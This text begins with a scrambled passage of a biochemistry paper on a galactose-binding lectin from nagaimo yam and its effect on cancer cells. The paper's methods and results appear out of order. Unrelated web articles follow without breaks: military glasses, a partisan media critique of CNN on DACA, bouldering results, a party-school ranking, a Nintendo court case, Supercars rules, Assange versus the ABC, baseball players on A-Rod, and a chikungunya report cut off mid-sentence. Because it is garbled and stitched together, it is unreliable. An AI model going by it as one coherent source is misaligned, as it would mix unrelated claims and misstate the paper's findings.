2–5: NH 4 OAc; pH 6–10: Tris-HCl; pH 11–12: NaHCO 3; and pH 13–14: NaOH. After incubation at room temperature for 30 min, the solution was neutralized, and assay of hemagglutinating activity was performed as mentioned above. Percentage of residual hemagglutinating activity was calculated by dividing the hemagglutinating activity of the sample by the maximal hemagglutinating activity×100% [24] . Reducing SDS-PAGE involved treatment of the protein sample with loading buffer containing the reducing agent, β-mercaptoethanol, while in non-reducing SDS-PAGE, β-mercaptoethanol was not added to the loading buffer. SDS-PAGE was performed at a constant voltage of 120 V using a 15% separating gel and a 5% stacking gel. Then the gel was stained with Commassie brilliant blue for 1 hour, and destained with 10% acetic acid overnight [23] . In a 96-well microtiter U plate, a serial dilution of a 50 µl test sample was performed using phosphate-buffered saline (PBS) (pH 7.2). Then, 50 µl of a 2% rabbit red blood cell suspension in PBS was added. The plate was incubated at room temperature until the red blood cells in the blank (with no protein sample added) had fully sedimented at the bottom of the well and appeared as a red spot. Formation of plaques of agglutinated red blood cells indicated hemagglutinating activity. Specific activity of the lectin is the reciprocal of the highest dilution of the protein sample inducing hemagglutination per mg protein [22] . The powder was resuspended in 20 mM NaCl in 10 mM Tris-HCl buffer (pH 7.6) at a concentration of 5 mg/ml, and then subjected to FPLC-gel filtration on a Superdex 75 10/300 GL column (GE Healthcare) using an AKTA Purifier. The first major absorbance peak contained purified nagaimo lectin. The powder was resuspended in 10 mM Tris-HCl buffer (pH 7.6) at a concentration of 15 mg/ml, and then subjected to FPLC-anion exchange chromatography on a Mono Q column (GE Healthcare) using an AKTA Purifier (GE Healthcare). Adsorbed materials were eluted using a 0–1 M NaCl gradient. The second peak containing adsorbed materials was collected, dialyzed extensively and lyophilized. Nagaimo tubers were purchased from a local Japanese supermarket. The skin of nagaimo tubers was peeled off. Then the flesh was cut into small pieces of dimensions around 0.5 cm×0.5 cm. One hundred grams of the slices of nagaimo were soaked in 600 ml 10 mM Tris-HCl buffer (pH 7.6), and then homogenized in a Waring blender. The slurry was centrifuged at 30000 g, 4°C for 25 minutes. The supernatant was filtered using filter paper to yield the crude extract. Tris-HCl buffer (10 mM, pH 7.6) was added to the crude extract to adjust the volume to 1 L before loading onto an 18 cm×5 cm Q-Sepharose (GE Healthcare) column pre-equilibrated with 10 mM Tris-HCl buffer (pH 7.6). Unadsorbed materials were eluted with the starting buffer and discarded. Adsorbed materials were eluted with 1 M NaCl in 10 mM Tris-HCl buffer (pH 7.6). The fraction containing adsorbed materials was dialyzed extensively against double distilled water at 4°C, and lyophilized into powder form. With the presence of 100 mM galactose, nagaimo lectin still could induce PS externalization and mitochondrial depolarization in the MCF7 cells ( Fig. 7B , Fig. 8B ). Occupation of carbohydrate binding sites of nagaimo lectin could not diminish the pro-apoptotic effect of the lectin on MCF7 cells. In JC-1 staining, a slight shift of MCF7 cells from the upper left region toward the lower right region was observed ( Fig. 8A ). The cell shifting showed an increase in the proportion of MCF7 cells experiencing mitochondrial depolarization and undergoing cell death. Flow cytometry analysis was used for further studies on nagaimo lectin-induced anti-proliferative effects on MCF7 cells. After Annexin V-FITC and propidium iodide (PI) staining, the MCF7 cells at the lower left quadrant of the profile shifted toward the lower right quadrant as nagaimo lectin concentration increased ( Fig. 7A ). The shifting indicated phosphatidylserine (PS) externalization in the MCF7 cells which were undergoing the early stage of apoptosis. The proportion of cells located at the upper right quadrant had also increased slightly at increasing nagaimo lectin concentrations, justifying that more MCF7 cells entered the late stage of apoptosis. These suggested that nagaimo lectin interacted with the cancer cells through a domain other than the sugar binding site of the lectin. The blockage of sugar binding sites by galactose did not hinder the interaction between the domain on nagaimo lectin and the cancer cells, with the consequence that the anti-proliferative activity remained intact. On the other hand, anti-proliferative activity of nagaimo lectin on MCF7 cells had declined after extreme pH treatments ( Fig. 6B ). The activity was not affected at pH 2, 4 and 10. At pH 0, 12 and 14, the IC 50 on MCF7 cells had raised by over 110% to around 8 µM, indicating reduction of anti-proliferative activity of nagaimo lectin. Hemagglutinating activity of nagaimo lectin was stable at pH 2 to 13. Anti-proliferative activity of nagaimo lectin was more vulnerable in alkaline pH, as observed by activity loss at pH 12. Similarly, heat treatment on nagaimo lectin failed to abolish its anti-proliferative activity on the MCF7 cells ( Fig. 6A ). Unlike the hemagglutinating activity which had diminished since 64°C and vanished at 80°C, full anti-proliferative activity of nagaimo lectin was retained even the lectin was heated at 80°C and 100°C for 30 minutes. Co-treatment with 100 mM galactose, the specific binding sugar of nagaimo lectin, failed to diminish the anti-proliferative activity of nagaimo lectin on the MCF7 and HepG2 cells ( Fig. 5 ). In the test of inhibitory effects of carbohydrates on hemagglutinating activity of nagaimo lectin, 100 mM galactose could lower the activity by about 80%, however, such inhibitory action of galactose was not observed on the anti-proliferative activity of nagaimo lectin. Nagaimo lectin also exhibited anti-proliferative activity. Results of the MTT assay disclosed that treatment with nagaimo lectin for 24 hours strongly inhibited the growth of MCF7 and HepG2 cells, with IC 50 of 3.71 µM and 7.12 µM, respectively. It also slightly inhibited growth of CNE2 cells, with an IC 50 of 19.79 µM ( Fig. 4 ). In the carbohydrate specificity test of nagaimo lectin, the lectin did not interact with glucose, mannose, glucosamine, glucuronic acid, galactonic acid, xylose, xylitol, mannitol and arabinose. In addition of galactose, nagaimo lectin also interacted with galactose-containing carbohydrates including lactose (glucose+galactose) and raffinose (glucose+fructose+galactose), as indicated by reduction in hemagglutinating activity of the lectin ( Fig. 3C ). The minimal concentration of galactose, lactose and raffinose required for reduction of nagaimo lectin hemagglutinating activity was 20 mM, 5 mM and 40 mM, respectively. The inhibitory effect of lactose on nagaimo lectin was the strongest, indicating the lectin has a high tendency to interact with β-galactosides. The carbohydrate specificity of nagaimo lectin was not limited to β-galactosides, since it also interacted with α-galactosides (raffinose) and galactose alone. Nagaimo lectin had moderate thermostability. It retained full hemagglutinating activity up to 62°C, but the activity dropped abruptly when the temperature was elevated from 64°C to 70°C, and vanished at 80°C ( Fig. 3A ). On the other hand, nagaimo lectin showed fairly high pH stability. Hemagglutinating activity was preserved at pH 2 to 13, while the activity was halved at pH 0–1 and totally eliminated at pH 14 ( Fig. 3B ). The first 12 amino acids at the N-terminus of nagaimo lectin were NPFVFFVAINNP. Protein BLAST was applied to seek homologous proteins in the GenBank Database. The proteins with highest scores are listed in Table 2 . They are highly different proteins with different sizes and present in different origins. However, none of them seem to be related to lectins. The N-terminal amino acid sequence of nagaimo lectin could not match any plant lectins, nor any types of Dioscorea proteins. In non-reducing SDS-PAGE, without treatment with β-mercaptoethanol, the nagaimo lectin appeared as a single 70-kDa band instead ( Fig. 2 ). In FPLC-gel filtration on a Superdex 75 10/300 GL column, nagaimo lectin was eluted in the 10 th ml. Based on the calibration curve for the column, the molecular mass of nagaimo lectin was 70-kDa. This showed that nagaimo lectin is a 70-kDa dimeric protein with two 35-kDa subunits. SDS-PAGE of (A) crude nagaimo tuber extract, (B) Fraction II from Q-Sepharose, (C) Fraction V from Mono Q, (D) Purified nagaimo lectin from Superdex 75, and (E) Purified nagaimo lectin without addition of the reducing agent, β-mercaptoethanol. Lane 1 of each panel: Molecular weight markers (GE Healthcare) including phosphorylase b (97 kDa), bovine serum albumin (66 kDa), ovalbumin (45 kDa), carbonic anhydrase (30 kDa), soybean trypsin inhibitor (20 kDa) and α-lactalbumin (14.4 kDa). Lane 2 of each panel: nagaimo protein samples. A protocol with three chromatographic steps was used in lectin purification from nagaimo tubers. The first step, cation exchange chromatography on Q-Sepharose, yielded an unabsorbed fraction (Fraction I in Fig. 1A ) and a sharp adsorbed fraction (Fraction II in Fig. 1A ). The latter fraction was collected and subjected to the second step, FPLC-cation exchange chromatography on Mono Q. This step yielded one unadsorbed fraction (Fraction III in Fig. 1B ), and two major adsorbed peaks (Fraction IV and V in Fig. 1B ) and one minor adsorbed peak (Fraction VI in Fig. 1B ). Hemagglutinating activity resided in Fraction V. This fraction was subjected to the third step, FPLC-gel filtration on Superdex 75. The first, major peak (Fraction VII in Fig. 1C ) showed hemagglutinating activity but not the two minor peaks (Fraction VIII and IX in Fig. 1C ). Fraction VII contained purified nagaimo lectin that appeared as a single 35-kDa band in SDS-PAGE ( Fig. 2 ). The protocol contributed to purification of nagaimo lectin by approximately 33.4 folds ( Table 1 ). Discussion Lectins have been identified in various Dioscorea species, including D. alata, D. cayenesis, D. polygonoides, D. rotundata [30], [31] and D. batatas [32]. However, very few of them have been investigated in great detail. D. batatas lectins were the best studied Dioscorea lectins. D. batatas produced three lectins with distinct characteristics, DB1, DB2 and DB3. DB1 was a 20-kDa mannose-binding insecticidal lectin with two 10-kDa subunits. DB2 was a 31-kDa maltose binding lectin which served as the major storage protein in D. batatas. DB3 was a 128-kDa maltose binding lectin compsed of a 66-kDa subunit and two 31-kDa subunits [32], [33]. Studies on the three lectins from D. batatas were comprehensive [32], [33]. The isolation of multiple lectins was elegantly performed. Differences in the molecular size, amino acid sequence, heat and pH stability, and sugar binding specificity among the three lectins have been demonstrated. The variations in the composition of the three lectins also helped to illustrate the physiological roles of these lectins in the yam tubers. DB2 had N-terminal amino acid sequence resembling Dioscorea dioscorins that act as yam storage proteins. However, unlike dioscorins, DB2 did not exhibit carbonic anhydrase activity [32]. In contrast, the lectin that we purified from nagaimo (D. opposita) did not resemble any of aforementioned Dioscorea lectins. In contrast to the multiplicity of lectins in D. batatas [32], [33], nagaimo yielded only a single 70-kDa lectin. None of the other chromatographic fractions acquired during the course of nagaimo lectin purification manifested hemagglutinating activity. This suggested that no other lectin was present in nagaimo tubers except nagaimo lectin. DB2 in D. batatas acted as the major storage protein in the tubers, but not nagaimo lectin in nagaimo tubers. SDS-PAGE of the crude extract of nagaimo tubers revealed that the 35-kDa band representing the lectin was only one of the major protein bands. It deserves mention that some Phaseolus species and Phaseolus vulgaris cultivars have only a solitary defense protein [34]–[37] whereas other Phaseolus species and Phaseolus vulgaris cultivars produce two or more defense proteins [38]–[39]. The N-terminal amino acid sequence of nagaimo lectin was NPFVFFVAINNP. The sequence did not resemble any of the lectins in D. batatas [32]. Structurally disparate straw mushroom (Volvariella volvacea) lectins have been reported from different research laboratories [40], [41]. Also, the sequence of nagaimo lectin did not show homology to the Dioscorea dioscorins found in the GenBank Database. Dioscorins are one of the major storage proteins in yams. With no resemblance in sequence, it seems that nagaimo lectin is another storage protein in D. opposita tubers other than dioscorins. The results from the Protein BLAST search in GenBank Database even showed that the N-terminal sequence of nagaimo lectin did not resemble the sequence of any plant lectins. The most homologous sequence from the database was an Omp121 family outer membrane protein from Flavobacterium psychrophilum, a gram-negative bacteria, with around 75% identity within the sequence (Table 2). However, it has a much larger size (1060 amino acids), and the sequence is located near the C-terminus (987th to 997th amino acids) instead. It is unlikely to be related to nagaimo lectin. Nagaimo lectin is probably a new plant lectin with a distinct N-terminal amino acid sequence. Nagaimo lectin displayed higher thermostability and pH stability than D. batatas lectins [32], [33]. Nagaimo lectin was heat-stable up to 62°C, while DB1 and DB3 started to lose hemagglutinating activity after heating at 50°C. Nagaimo lectin was stable over a wider pH range (pH 2–13) than DB1 (pH 7–9) and DB3 (pH 3–9). Besides, the carbohydrate binding specificity was also distinctly different. Nagaimo lectin was specific to galactosides and also interacted with galactose, while the lectins from D. opposita were mannose- and maltose-specific. Even though they belong to the same genus, they produce totally dissimilar lectins. The investigations on biological activities of lectins from D. batatas were focused on their insecticidal activity [33], A study on anti-tumor activity was not included. Also, none of the other Dioscorea lectins have been reported to have anti-proliferative activity. The present study constituted the first report of a Dioscorea lectin possessing anti-proliferative activity on tumor cells. Nagaimo lectin from D. opposita exhibited anti-proliferative activity on several types of tumor cells, comprising breast cancer MCF7 cells, hepatoma HepG2 cells and nasopharyngeal carcinoma CNE2 cells. The inhibitory activity on MCF7 and HepG2 cells was more potent than that on CNE2, with over 2.5-fold difference in IC 50 values (IC 50 of MCF7 cells: 3.71 µM, HepG2 cells: 7.12 µM, CNE2 cells: 19.79 µM). The ability of nagaimo lectin to potently interfere with the proliferation of several types of cancer cells is noteworthy in view of the reports that some lectins/hemagglutinins are devoid of anti-proliferative activity [37]. Flow cytometry analysis of nagaimo lectin-treated MCF7 cells revealed that the lectin induced apoptosis which brought about phosphatidylserine externalization and mitochondrial depolarization. Many reports have shown that lectins induce apoptosis in tumor cells through their carbohydrate binding capability [42]–[47]. For example, artinM, a d-mannose-binding lectin from jackfruit, bound onto and induces apoptosis in myeloid leukemia NB 4 cells, and the activity was abolished in the presence of Manα1-3[Manα1-6]Man [45]. In contrast, nagaimo lectin seemed to make use of other domains instead of its galactose-binding domain to interact with tumor cells. The application of galactose could not suppress the anti-proliferative effect of nagaimo lectin on tumor cells. This observation is reminiscent of an analogous finding regarding the glucose-mannose binding Canavalia gladiata lectin. Its anti-proliferative activity was not attenuated in the presence of glucose [48]. Unlike the hemagglutinating activity of nagaimo lectin, the anti-proliferative activity was not affected by galactose. Similarly, heating could not destroy the anti-proliferative activity of nagaimo lectin but the hemagglutinating activity. On the other hand, the anti-proliferative activity of nagaimo lectin was more vulnerable to alkaline pHs than the hemagglutinating activity. All these observations support that, two distinct domains are responsible for the two kinds of activity, i.e. the carbohydrate binding domain is independent of the anti-proliferative activity. Not limited to inhibition of MCF7 cell proliferation, nagaimo lectin also induced apoptosis on them. This was indicated by the ability of nagaimo lectin to induce PS externalization and mitochondrial depolarization on the cells. Same as the anti-proliferative activity, the apoptosis-inducing effects of nagaimo lectin was not suppressed by galactose. The initiation of apoptosis was also independent of the carbohydrate binding capacity of the lectin. The hemagglutinating activity of nagaimo lectin was attenuated by galactosides and also galactose. The hemagglutinating activity of lectins is one of the major obstacles in the application of lectins for therapeutic purposes. A number of lectins exhibit anti-tumor and hemagglutinating activities at the same time through their carbohydrate binding activity [46], [47]. The hemagglutinating activity of lectins would constitute a side effect that leads to red blood cell agglutination in patients when applying lectins for cancer treatment. Nagaimo lectin probably did not depend on its carbohydrate binding capability to induce apoptosis in tumor cells. It is possible to introduce galactose and galactose-containing sugars to block the hemagglutinating effect of the lectin, while not hindering its anti-tumor activity. This suggests that nagaimo lectin has the potential to be the first Dioscorea lectin in therapeutic application. Some [36], [49], [50] but not other [34]–[37], [48] lectins demonstrate antifungal activity. Nagaimo lectin is destitute of antifungal activity. In fact, antifungal and trypsin inhibitory activities which are found in the tubers of other species, are lacking in nagaimo tubers (data not shown). This report adds to the meager literature on bioactive proteins in the yam tuber. Nagaimo lectin isolated in the present investigation is distinctive in certain aspects. It possesses a molecular mass, N-terminal sequence, sugar specificity, pH stability and thermostability distinct from previously reported yam lectins. It exhibits potent anti-proliferative activity toward several cancer cell lines. Information pertaining to the ability of constituents of tubers, rhizomes and seeds, especially proteinaceous components, to inhibit the growth of breast cancer cells, is meager [51]–[55]. The compound dioscorealide B from Dioscorea membranacea is active against breast cancer cells [56]. Contamination of nagaimo lectin with small molecules like dioscorealide B is highly unlikely due to the vast difference in their molecular masses and also the use of extensive dialysis between the chromatographic steps. Breast cancer is one of the most prevalent and severe gynecologic diseases [57]. Globally, the incidence was 0.641 million cases in 1980 and it soared to 1.643 million cases in 2010 [58]. There were 425 000 women who died of breast cancer in 2010 [28]. Nagaimo lectin is potentially exploitable for the treatment of this formidable disease. -U.S. military uniforms aren't known for being trendy, despite the fashion industry's occasional embrace of camo. But unbeknownst to us non-military folks, the Army and Navy have been mandating hipster fashion for years in the form of Birth Control Glasses. According to news reports, the U.S. military has been issuing the S9, brown, chunky, plastic-rimmed prescription glasses, for years. Soldiers who needed to wear glasses had no other choice but to wear the ugly frames. But they were so nerdy that they became known military-wide as Birth Control Glasses, or BCGs (the army loves its abbreviations). "The standard issue spectacles are so ugly that some troops stuff them in their trunks as soon as they leave training," said NPR's Robert Siegel. So the military has finally decided to upgrade to something a bit hipper, more rectangular black frames called the 5A. Except the military has forgotten one crucial fact: Birth Control Glasses are actually cool. Fashion blogger Leandra Medine, a.k.a. The Man Repeller, has been calling her geek-chic specs "birth control glasses" since she started her blog. Whole neighborhoods in Brooklyn are filled with hipsters wearing S9 replicas. In fact, if the military is looking to dump the remaining S9 frames, we recommend they simply sell them on eBay and Etsy. That'd be one way to close the budget deficit. Check them out below and hear more about the switch from BCGs to less geeky specs on NPR.org. PHOTO: -On Wednesday's New Day, Chris Cuomo was displaying his liberal bias over and over again during discussions of President Donald Trump's decision to end the DACA program. The CNN host's commentary ranged from accusing Trump of "feeding fear and anger," to trying to give cover to former President Barack Obama by declaring that "Obama did not invent 'Dreamers." Eventually, one Republican guest did manage to get Cuomo to admit that "there's no question that it's been legally dubious from jump" before he still argued that "This is a moral argument, not just a legal one." Shortly before 7:00 p.m., as Ohio Republican Rep. and Freedom Caucus member Jim Jordan appeared on the show, Cuomo at one point tried to shield Obama as he argued: The reason that Obama -- Obama didn't create "Dreamers." He didn't even create the law. You guys -- and not you per se -- but Congress had been fighting over this since before 9/11. You couldn't get it done -- you wouldn't get it done. And, in fact, you got worse at it over time. That's how we got here. Now it seems like we're going to revisit the whole process. The Republican congressman pointed out: "That doesn't justify Obama doing something he said he couldn't do -- doing something that is unconstitutional." At 7:15 a.m. ET, during another discussion segment, Cuomo complained: <<< Please support MRC's NewsBusters team with a tax-deductible contribution today. >>> This is about feeding something else. Let's just be honest what it's about. This feeds the fear and the anger of a part of his base. This "Dreamers" -- immigration is a metaphor for us versus them and what is America. In his response, CNN political analyst David Gregory griped about "the conservative right" that supposedly "sprang up" around 2004 to 2005 and derailed President George W. Bush from passing a left-leaning amnesty bill for illegal immigrants as the CNN commentator asserted that Bush "had this issue right." Gregory: You were talking to Jim Jordan. I mean, that is -- that is the conservative right that sprang up really in 2004, 2005, and that's what President Bush couldn't contend with. And I always maintained, President Bush, border governor of Texas, knew this issue, had this issue right, but the politics moved away from him Moments later, liberal CNN political commentator and Daily Beast editor John Avlon found it "sinister" that young DACA beneficiaries might be deported in the near future: And they are facing deportation after they gave their information and their addresses to the federal government. And, all of a sudden now, Jeff Sessions -- who was trotted yesterday, who is has been a long-standing hobby horse of his -- is in a position to weaponize that data and go after these "Dreamers" in a way that could be incredibly ugly in six months and is sinister. Later in the hour at 7:43 a.m. as he reviewed the history of how DACA was developed, Cuomo again made a point of giving cover to Obama as he recounted that the plan was originally written by members of Congress in 2001: DACA is not new, and Obama did not invent "Dreamers." I know you hear he did -- it isn't true. The DREAM Act -- Development, Relief, and Education for Alien Minors -- started life in 2001 before 9/11. At about 8:20 a.m. ET, during a segment in which he debated Justice Department official Sarah Isgur Flores, Cuomo admitted that DACA was "legally dubious" after his guest recalled the Obama administration's history of being overruled by the courts: -Mens Winners Photo by ASP Red Bull Last weekend saw the start to the Boulder World Cup 2010 in Switzerland, with some exciting bouldering taking place. Kilian Fischhuber managed to surpass Adam Ondra after a good semi-final run which lead him to first place after the two were neck and neck. Bronze was handed to Christian Core followed by Cedric Lachat in forth place. Fischhuber had some troubles on the second problem in the finals, though flashed both problem 1 and 3. Odra managed to get three tops in the first three problems during the finals, the first problem required 3 tries before he managed to top it, while the other two he managed to nail. At this stage both Fischhuber and Odra were tied in regards to the finals, though Fischhuber had a better semi-final run and was slightly ahead in that regard. For Odra to stand a chance at winning he would need to flash the final problem and hope Kilian Fischhuber wouldn't be able to follow suit.... Odra does it! Flashing the final problem and leaving everything up to Fischhuber. Kilian would need to flash the problem if he were to win the title, and that he did. After the neck and neck battle between the two Kilian managed to pull it out from Odra with a flash on the final problem and a leading score in the semi-final, making him the winner of the mens section. The United States were also representing in the form of Alex Johnson, who won the womens title after some very close competition with the other competitors. The competition was just as, if not even more tight in the womens section where Alex managed to just inch past her fellow competitors in claiming first place by a difference of only 1 attempt. Mens Results 1. Kilian Fischhuber AUT 2. Adam Ondra CZE 3. Christian Core ITA 4. Cédric Lachat SUI 5. Klemen Becan SLO Womens Results 1. Alex Johnson USA 2. Akiyo Noguchi JPN 3. Chloé Graftiaux BEL 4. Cecile Avezou FRA 5. Katharina Saurwein AUT Full Results Full List of IFSC Results The next stage of the IFSC Bouldering World Cup will be held in Vienna on 28-30/05/2010. -Playboy magazine today crowned the University of Colorado the nation’s No. 1 party school, citing the Boulder campus’ annual 4/20 smokeout, as well as the city’s numerous medical-marijuana dispensaries and its status as “a beer drinker’s paradise.” According to Playboy’s website , CU received the party school crown because: “CU-Boulder is home to reefer madness. Not only does Boulder have 50 medical-marijuana dispensaries within its city limits, but every April nearly half the university’s 24,000-plus undergrads turn out for the annual 4/20 smoke-out on school grounds. Boulder is also a beer drinker’s paradise, with four breweries in town. ‘There are a lot of distractions from school-snowboarding, mountain biking, super hot girls,’ says one alum. Literally dozens of world-class ski resorts are a drive away. You know Boulder is a party school because whenever you tell someone that you went there, the first thing they ask is, ‘Did you graduate?'” Get more Boulder news at DailyCamera.com. -According to a post on Maxconsole, a court in Paris has just dismissed a lawsuit filed by Nintendo over the use of flash carts on the DS. Apparently, the gamemaker was attempting to halt the use of the cartridges due to their ability to circumvent copy protection and allow for pirating of software, but a judge in France took a decidedly different view. As the carts are often used for homebrew and DIY projects, the court holds that owners of the console should be able to develop software much as a license holder of Windows might. Furthermore, the article claims that the court also deemed Nintendo's strict control of development "illegal" (Maxconsole's words), and said that development of software for the system shouldn't be hamstrung by the need for proprietary kits. This ruling follows a recent Spanish case in which the court dismissed Nintendo's lawsuit over flash carts claiming that while the add-ons do violate DRM, they also legitimately extend the functionality of the console. -Drivers have called for Supercars to change the Safety Car restart procedure following the high profile incident in Race 17 at Sydney Motorsport Park. The regulations were thrust into the spotlight when a contentious restart triggered contact between Shane van Gisbergen and Scott McLaughlin, which then led to the latter turning around the Red Bull driver at Turn 2. A host of drivers believe the incident should prompt the championship to make changes to the rules. Current regulations state that, although overtaking is not permitted before the control line, drivers can overlap once past the apex of the final turn and the green flag is displayed. However, with a long approach to pit lane, and the late withdrawal of the Safety Car at Sydney Motorsport Park, the race leader was unable to accelerate out of the final corner. “We had all that drama yesterday and did exactly the same thing on Sunday. The leader couldn’t go at the last corner,” said Sunday race winner Jamie Whincup. “I don’t know why they didn’t just let (the Safety Car) go. “We had this issue two or three years ago and learned from that. And I feel we would have learned from yesterday but we’ve made the same mistake “The issue is letting us go early.” The feeling was echoed by team-mate van Gisbergen, who copped a 33-second penalty for overlapping before the green flags were displayed, prior to contact with McLaughlin in Race 17. “I think we can do a better job as a series for that,” van Gisbergen added. “Our rules are really good when it is done right, but when it’s bad and there’s overlap, it’s just things can be better. “We knew we were going green that lap but they still held the Safety Car until well after the last sector started. It could have been a little better, especially after seeing what it caused the day before.” David Reynolds was among the victims of Race 17, Turn 2 melee triggered by the Safety Car restart. The Erebus Motorsport driver believes the overlapping rule should be scrapped altogether, simplifying the process and thereby reducing the risk of a similar incident in future. “When the Safety Car was released, the overlapping, technically you’re not allowed to pass but overlapping is passing,” Reynolds told Speedcafe.com. “There should be no overlapping, no passing until the control line; then that eliminates all that. “Once again, very confused just on the rules.” It’s a sentiment shared by Nissan Motorsport’s Michael Caruso, who believes Supercars needs to amend the rule sooner rather than later. “I think sometimes we just try to overcomplicate our rulebook,” Caruso told Speedcafe.com. “I mean, we’ve all been racing forever, why allow the overlap before the start finish line? “At the end of the day you have a Safety Car because there’s an accident or what have you on the track. “I think let’s just get the race going again and let everybody race it out, rather than everybody’s focussing on what they’re doing coming out of the last corner. “You see it the last few times with cars fanning out. It doesn’t look good. “There’s going to be a big accident one day, and for what; for a Safety Car restart.” -WikiLeaks founder Julian Assange has slammed the ABC, accusing the national broadcaster of breaching their own code of practice. Assange said he should have been asked for a response to comments made about him by Hillary Clinton during an interview which aired in Australia on Monday. The WikiLeaks founder's criticism comes as Four Corners interviewer Sarah Ferguson revealed on radio she thought Hillary Clinton 'has been through enough'. Scroll down for video WikiLeaks founder Julian Assange (pictured) has slammed the ABC, accusing the national broadcaster of breaching their own code of practice Assange said he should have been asked for a response to comments made about him by Hillary Clinton (pictured) during an interview which aired in Australia on Monday In response to a retweet (pictured) by Four Corners producer Sally Neighbour, Assange said it was 'pathetic' and showed the 'extreme unprofessionality' of the ABC 'A sad day for Four Corners,' Assange told Daily Mail Australia, 'WikiLeaks has a pristine record for accuracy. Clinton stands alone in suggesting otherwise.' 'There was no push back on Clinton's ridiculous conspiracy theories or use of weasel words. The single greatest contributor to Clinton's downfall was not brought up: her strategy to elevate Donald Trump. We were not contacted to rebut.' After first attacking Clinton for calling him a 'tool of Russian intelligence' and a 'nihilistic opportunist', Assange then took aim at the taypayer-funded broadcaster. In response to a retweet by Four Corners producer Sally Neighbour, Assange said it was 'pathetic' and showed the 'extreme unprofessionality' of the ABC. The retweet, since deleted, was a link to the Four Corners interview captioned 'Assange is Putins (sic) b****. We all know it!' Assange cited the ABC's own code of practice, which states: 'Where allegations are made about a person or organisation, make reasonable efforts in the circumstances to provide a fair opportunity to respond.' After first attacking Clinton for calling him a 'tool of Russian intelligence' and a 'nihilistic opportunist', Assange then took aim at the taypayer-funded broadcaster (pictured is Four Corners producer Sally Neighbour) Describing himself as an 'Australian political refugee', Assange first hit back at Clinton's claims in the interview. He called Clinton a 'notorious liar' and her statements 'defamatory', disputing her claims about the timing of WikiLeaks releases during the election. Interviewer Sarah Ferguson appeared on radio on Monday, where she revealed she deliberately avoided asking Hillary about Bill Clinton. 'I reckon she's been through enough,' she said when asked whether the pair discussed Bill Clinton's infidelity by Jonesy and Amanda on WSFM. 'You know it's a very interesting relationship. It's a very interesting marriage, but I don't think every time she sits in a chair she needs to be asked about her husband.' Interviewer Sarah Ferguson (pictured) appeared on radio on Monday, where she revealed she deliberately avoided asking Hillary about Bill Clinton Earlier in the interview Ms Ferguson mentioned Bill's opposition to her recent book What Happened, and his desire to change her schedule at the end of her campaign. Ms Ferguson was then asked whether she raised those issues with Hillary Clinton, or whether she mentioned Bill's cheating. Former Labor leader Mark Latham said Ms Ferguson's refusal to ask Clinton about her husband is evidence of left wing bias at the broadcaster. 'This interview with the far left journalist Sarah Ferguson tells you everything you need to know about the fake news media and the massive decline in journalistic ethics,' said Mr Latham. In response to a retweet by Four Corners producer Sally Neighbour, Assange said it was 'pathetic' and showed the 'extreme unprofessionality' of the ABC (pictured) Assange cited the ABC's own code of practice, which states: 'Where allegations are made about a person or organisation, make reasonable efforts in the circumstances to provide a fair opportunity to respond' (pictured) In response to Assange's remarks on social media, Ms Neighbour called the offensive tweet 'a mistake, since undone' and offered him full right of reply. 'We're not going to reward the ABC for breaching its own code of conduct,' said Assange. 'It's a typical yellow journalism tactic to defame someone who won't give you an interview -- then to offer them a 'right of reply'.' Ms Neighbour then claimed an interview request was made on September 19, to which Assange said that request was not an opportunity for right of reply. Assange has been living in the Ecuadorian embassy in London since 2012, and has been a vocal critic of Hillary Clinton. In response to Assange's remarks on social media, Ms Neighbour called the offensive tweet 'a mistake, since undone' and offered him full right of reply (pictured) After the Four Corners interview aired Assange tweeted a link to it captioned: 'There's something wrong with Hillary Clinton'. 'It is not just her constant lying. It is not just that she throws off menacing glares and seethes thwarted entitlement'. 'Something much darker rides along with it. A cold creepiness rarely seen' he said. WikiLeaks released emails and documents from the Democratic National Committee during the 2016 US presidential election. Assange has consistently denied accusations the releases were made on behalf of the Russian government, and has said the Russians were not the source of the leaks. Ms Neighbour then claimed an interview request was made on September 19, to which Assange said that request was not an opportunity for right of reply (pictured) Clinton has claimed WikiLeaks has never released anything about Russia, but Assange claims his organisation has published hundreds of thousands of documents pertaining to that nation. An ABC spokesperson told Daily Mail Australia: 'As Sally Neighbour stated on Twitter straight away, the retweet was a mistake and quickly undone. 'The program contacted Julian Assange regarding an interview well in advance, and the offer remains open. 'Hillary Clinton has spoken a lot about issues relating to her marriage over the past decades — Sarah Ferguson had a lot of fresh ground to cover in her interview, which was more relevant to the news cycle.' -Baseball players are the world's biggest meatheads. A player admires his home run? Throw a ball at his face. An athlete in a totally different sport talks trash? Throw a ball at his face. A fellow union member files a lawsuit in a last-ditch effort to salvage $25 million? THROW A BALL AT HIS FACE. RESPECT THE GAME. Yahoo's Jeff Passan and Tim Brown have the inside story of the MLB Players' Association representatives' response to Alex Rodriguez suing the union, and it's pretty much what you'd expect. "When [Rodriguez] gets up to bat, you can hit him and hit him hard," one player on the conference call told Yahoo Sports. "That's what I'd do. He sued us. Jhonny Peralta and Nelson Cruz screwed up. You know what? They owned up to it. They took their medicine. "[Rodriguez] needs to be scared of coming back and facing people he sued. If he can't fear the wrath of getting kicked out or not being included, he's going to be forced out." Advertisement Keep in mind that this is Plan B. Plan A, with near unanimous backing among union reps on the Jan. 13 conference call, was to kick Rodriguez out of the union. According to Yahoo, the idea was raised by the very first player to speak, and even after being told by executives that wasn't an option, more and more players threw their support behind it. "That's what everyone was thinking," the player said. "We wanted to get on this call and not let him back. [To say,] 'This is our game and we don't want you in it.'" Advertisement I get why they're angry. Alex Rodriguez is scorching the earth in his attempt to overturn the most serious PED punishment in baseball history, handed down via a process that he argues was capricious and unfair. (He also believes the union didn't do much on his behalf, and he's probably right on that count.) But suing the MLBPA wasn't personal. As Craig Calcaterra noted last week, labor law requires a plaintiff to name the union as a defendant when he sues his employer for breach of contract. THROW A BALL AT HIS FACE ANYWAY. Sources: MLB Players Association would expel Alex Rodriguez – if it could [Yahoo] -You must enter the characters with black color that stand out from the other characters — State health officials reported Thursday that a resident who recently traveled to the Caribbean has the first confirmed case in North Carolina of chikungunya, a virus transmitted through the bite of an infected mosquito. There are no documented cases of the virus being acquired in North Carolina or the continental United States, according to the Department of Health and Human Services. But the Asian tiger mosquito, which is common in North Carolina, could transmit the virus. Infected persons usually experience the sudden onset of fever and severe joint pain in the hands and feet. The pain typically improves within a week, but it may last for months or years in some patients. Vulnerable groups, including newborns, those over 65 and those with chronic illness, risk a more severe form of the disease. In rare cases, patients have died. The state did not give the gender, age, location or condition of the infected person in North Carolina. Health officials said chikunguya was first found in East Africa, India, the Indian Ocean and western Pacific. It made its way to the Caribbean last December through 